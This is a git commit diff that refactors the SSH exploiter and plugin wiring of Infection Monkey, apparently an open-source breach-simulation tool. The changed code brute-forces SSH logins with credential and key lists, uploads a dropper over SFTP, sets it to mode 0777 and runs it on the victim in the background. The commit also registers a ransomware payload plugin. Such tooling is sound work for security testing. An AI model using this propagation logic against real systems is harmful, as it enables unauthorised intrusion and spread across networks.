Agent: Modify SSH exploit

* Remove credential hashes from logs
* Get rid of config and use brute_force utils
* Use telemetry messenger to send attack telemetries
* Zerologon and Powershell needs to be revised based on UT
This commit is contained in:
Ilija Lazoroski 2022-02-21 10:56:31 +01:00
parent 96bd7bca24
commit f2b2a9c5c3
5 changed files with 62 additions and 36 deletions

View File

@ -1,10 +1,12 @@
import logging
from abc import abstractmethod
from datetime import datetime
from typing import Dict
from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType
from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
logger = logging.getLogger(__name__)
@ -26,7 +28,7 @@ class HostExploiter:
def _EXPLOITED_SERVICE(self):
pass
def __init__(self, host):
def __init__(self):
self._config = WormConfiguration
self.exploit_info = {
"display_name": self._EXPLOITED_SERVICE,
@ -37,7 +39,9 @@ class HostExploiter:
"executed_cmds": [],
}
self.exploit_attempts = []
self.host = host
self.host = None
self.telemetry_messenger = None
self.options = {}
def set_start_time(self):
self.exploit_info["started"] = datetime.now().isoformat()
@ -71,7 +75,11 @@ class HostExploiter:
}
)
def exploit_host(self):
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
self.host = host
self.telemetry_messenger = telemetry_messenger
self.options = options
self.pre_exploit()
result = None
try:

View File

@ -14,6 +14,7 @@ from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__)
@ -26,8 +27,8 @@ class SSHExploiter(HostExploiter):
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = "SSH"
def __init__(self, host):
super(SSHExploiter, self).__init__(host)
def __init__(self):
super(SSHExploiter, self).__init__()
self._update_timestamp = 0
def log_transfer(self, transferred, total):
@ -37,7 +38,10 @@ class SSHExploiter(HostExploiter):
self._update_timestamp = time.time()
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"],
)
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
@ -67,7 +71,10 @@ class SSHExploiter(HostExploiter):
raise FailedExploitationError
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
user_password_pairs = self._config.get_exploit_user_password_pairs()
user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"],
)
for user, current_password in user_password_pairs:
@ -76,23 +83,16 @@ class SSHExploiter(HostExploiter):
try:
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
logger.debug(
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
self.host,
user,
self._config.hash_sensitive_data(current_password),
)
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port)
self.report_login_attempt(True, user, current_password)
return ssh
except Exception as exc:
logger.debug(
"Error logging into victim %r with user"
" %s and password (SHA-512) '%s': (%s)",
"Error logging into victim %r with user" " %s: (%s)",
self.host,
user,
self._config.hash_sensitive_data(current_password),
exc,
)
self.report_login_attempt(False, user, current_password)
@ -159,37 +159,41 @@ class SSHExploiter(HostExploiter):
with monkeyfs.open(src_path) as file_obj:
ftp.putfo(
file_obj,
self._config.dropper_target_path_linux,
self.options["dropper_target_path_linux"],
file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer,
)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
status = ScanStatus.USED
T1222Telem(
ScanStatus.USED,
"chmod 0777 %s" % self._config.dropper_target_path_linux,
self.host,
).send()
self.telemetry_messenger.send_telemetry(
T1222Telem(
ScanStatus.USED,
"chmod 0777 %s" % self.options["dropper_target_path_linux"],
self.host,
)
)
ftp.close()
except Exception as exc:
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
status = ScanStatus.SCANNED
T1105Telem(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
).send()
self.telemetry_messenger.send_telemetry(
T1105Telem(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
)
)
if status == ScanStatus.SCANNED:
return False
try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.options["dropper_target_path_linux"],
self.host,
cmdline,
)

View File

@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import (
MimikatzCredentialCollector,
SSHCredentialCollector,
)
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.i_puppet import IPuppet, PluginType
from infection_monkey.master import AutomatedMaster
from infection_monkey.master.control_channel import ControlChannel
@ -194,7 +195,7 @@ class InfectionMonkey:
return local_network_interfaces
def _build_puppet(self) -> IPuppet:
puppet = Puppet()
puppet = Puppet(self.telemetry_messenger)
puppet.load_plugin(
"MimikatzCollector",
@ -213,6 +214,8 @@ class InfectionMonkey:
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER)
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
return puppet

View File

@ -14,6 +14,7 @@ from infection_monkey.i_puppet import (
PostBreachData,
)
from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from .mock_puppet import MockPuppet
from .plugin_registry import PluginRegistry
@ -21,9 +22,10 @@ logger = logging.getLogger()
class Puppet(IPuppet):
def __init__(self) -> None:
def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None:
self._mock_puppet = MockPuppet()
self._plugin_registry = PluginRegistry()
self._telemetry_messenger = telemetry_messenger
def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None:
self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type)
@ -56,10 +58,12 @@ class Puppet(IPuppet):
fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER)
return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options)
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host(
self, name: str, host: str, options: Dict, interrupt: threading.Event
self, name: str, host: object, options: Dict, interrupt: threading.Event
) -> ExploiterResultData:
return self._mock_puppet.exploit_host(name, host, options, interrupt)
exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER)
return exploiter.exploit_host(host, self._telemetry_messenger, options)
def run_payload(self, name: str, options: Dict, interrupt: threading.Event):
payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD)

View File

@ -1,12 +1,19 @@
import threading
from unittest.mock import MagicMock
import pytest
from infection_monkey.i_puppet import PluginType
from infection_monkey.puppet.puppet import Puppet
def test_puppet_run_payload_success(monkeypatch):
p = Puppet()
@pytest.fixture
def mock_telemetry_messenger():
return MagicMock()
def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger):
p = Puppet(mock_telemetry_messenger)
payload = MagicMock()
payload_name = "PayloadOne"
@ -17,8 +24,8 @@ def test_puppet_run_payload_success(monkeypatch):
payload.run.assert_called_once()
def test_puppet_run_multiple_payloads(monkeypatch):
p = Puppet()
def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger):
p = Puppet(mock_telemetry_messenger)
payload_1 = MagicMock()
payload1_name = "PayloadOne"